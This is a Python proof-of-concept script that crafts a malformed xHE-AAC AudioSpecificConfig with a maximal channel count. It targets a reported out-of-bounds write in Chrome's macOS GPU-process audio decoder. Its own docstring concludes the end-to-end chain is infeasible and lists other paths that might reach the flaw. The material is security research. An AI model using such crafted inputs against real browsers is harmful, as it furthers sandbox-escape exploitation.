#!/usr/bin/env python3
"""
Crafts an MPEG-4 AudioSpecificConfig (ASC) for USAC / xHE-AAC (AOT 42)
with channelConfiguration = 0 and UsacChannelConfig.numOutChannels set
to the maximum value encodable by escapedValue(5,8,16).

This is the `extra_data` blob a compromised renderer would place in
media.mojom.AudioDecoderConfig.extra_data.  In the macOS GPU process,
AudioToolboxAudioDecoder::CreateDecoder() wraps it via
mp4::ESDescriptor::CreateEsds() and feeds it to
AudioFormatGetProperty(kAudioFormatProperty_FormatInfo, ...).

IMPORTANT LIMITATION
--------------------
ISO/IEC 23003-3 defines:
  escapedValue(n1,n2,n3):
    v = read(n1); if v == (1<<n1)-1:
      a = read(n2); v += a; if a == (1<<n2)-1:
        v += read(n3)
For (5,8,16) the maximum is 31 + 255 + 65535 = 65821, far below the
214,748,365 needed to wrap the 32-bit size in
ChannelLayoutToAudioChannelLayout().  The vulnerability report's claim
of "syntactically up to ~5.4e8" appears incorrect for this encoding.

Therefore the renderer-reachable end-to-end chain via numOutChannels
alone is NOT syntactically possible per the public USAC spec.  The
sink (channel_layout_util_mac.cc:119) is still a real latent OOB write
-- see sink-unittest.patch -- but the xHE-AAC source path cannot
deliver the required mChannelsPerFrame value through standard
UsacChannelConfig.

Reaching the sink end-to-end would require either:
  (a) a different field/bug in macOS's USAC parser that lets
      mChannelsPerFrame exceed 2.1e8, or
  (b) the AC3/EAC3 branch (config.channels() flows directly to
      mChannelsPerFrame), which is compile-disabled on macOS Chrome
      (ENABLE_PLATFORM_AC3_EAC3_AUDIO is cast/tvOS-only).

This script still emits the max-channel ASC for completeness; on a
macOS host you can feed it to AudioFormatGetProperty and observe what
mChannelsPerFrame Apple actually returns.
"""

import sys


class BitWriter:
    def __init__(self):
        self.buf = bytearray()
        self.acc = 0
        self.nbits = 0

    def put(self, v, n):
        for i in range(n - 1, -1, -1):
            self.acc = (self.acc << 1) | ((v >> i) & 1)
            self.nbits += 1
            if self.nbits == 8:
                self.buf.append(self.acc & 0xFF)
                self.acc = 0
                self.nbits = 0

    def bytes(self):
        out = bytearray(self.buf)
        if self.nbits:
            out.append((self.acc << (8 - self.nbits)) & 0xFF)
        return bytes(out)


def escaped_value_max(bw, n1, n2, n3):
    bw.put((1 << n1) - 1, n1)
    bw.put((1 << n2) - 1, n2)
    bw.put((1 << n3) - 1, n3)
    return (1 << n1) - 1 + (1 << n2) - 1 + (1 << n3) - 1


def build_asc():
    bw = BitWriter()
    # --- AudioSpecificConfig (ISO/IEC 14496-3) ---
    # audioObjectType = 42 (USAC) -> escape: 5 bits = 31, then 6 bits = 42-32 = 10
    bw.put(31, 5)
    bw.put(42 - 32, 6)
    # samplingFrequencyIndex = 3 (48000 Hz)
    bw.put(3, 4)
    # channelConfiguration = 0 -> UsacConfig carries UsacChannelConfig
    bw.put(0, 4)

    # --- UsacConfig (ISO/IEC 23003-3 sec 5.2) ---
    # usacSamplingFrequencyIndex: 5 bits, 0x03 = 48000
    bw.put(3, 5)
    # coreSbrFrameLengthIndex: 3 bits
    bw.put(0, 3)
    # channelConfigurationIndex: 5 bits = 0 -> UsacChannelConfig follows
    bw.put(0, 5)

    # --- UsacChannelConfig ---
    # numOutChannels = escapedValue(5,8,16) MAX = 65821
    n_out = escaped_value_max(bw, 5, 8, 16)
    # bsOutChannelPos[i] : 5 bits each.  We do NOT emit 65821 entries
    # (would be ~41 KB and AudioToolbox would almost certainly reject the
    # short read anyway).  Emit a handful and let the parser fail after
    # filling mChannelsPerFrame -- the goal is only to observe what
    # AudioFormatGetProperty writes back.
    for _ in range(8):
        bw.put(0, 5)

    return bw.bytes(), n_out


if __name__ == "__main__":
    asc, n_out = build_asc()
    sys.stderr.write(
        f"numOutChannels (max escapedValue(5,8,16)) = {n_out}\n"
        f"NOTE: {n_out} << 214748365 needed for 32-bit wrap.\n"
        f"ASC ({len(asc)} bytes): {asc.hex()}\n"
    )
    sys.stdout.buffer.write(asc)
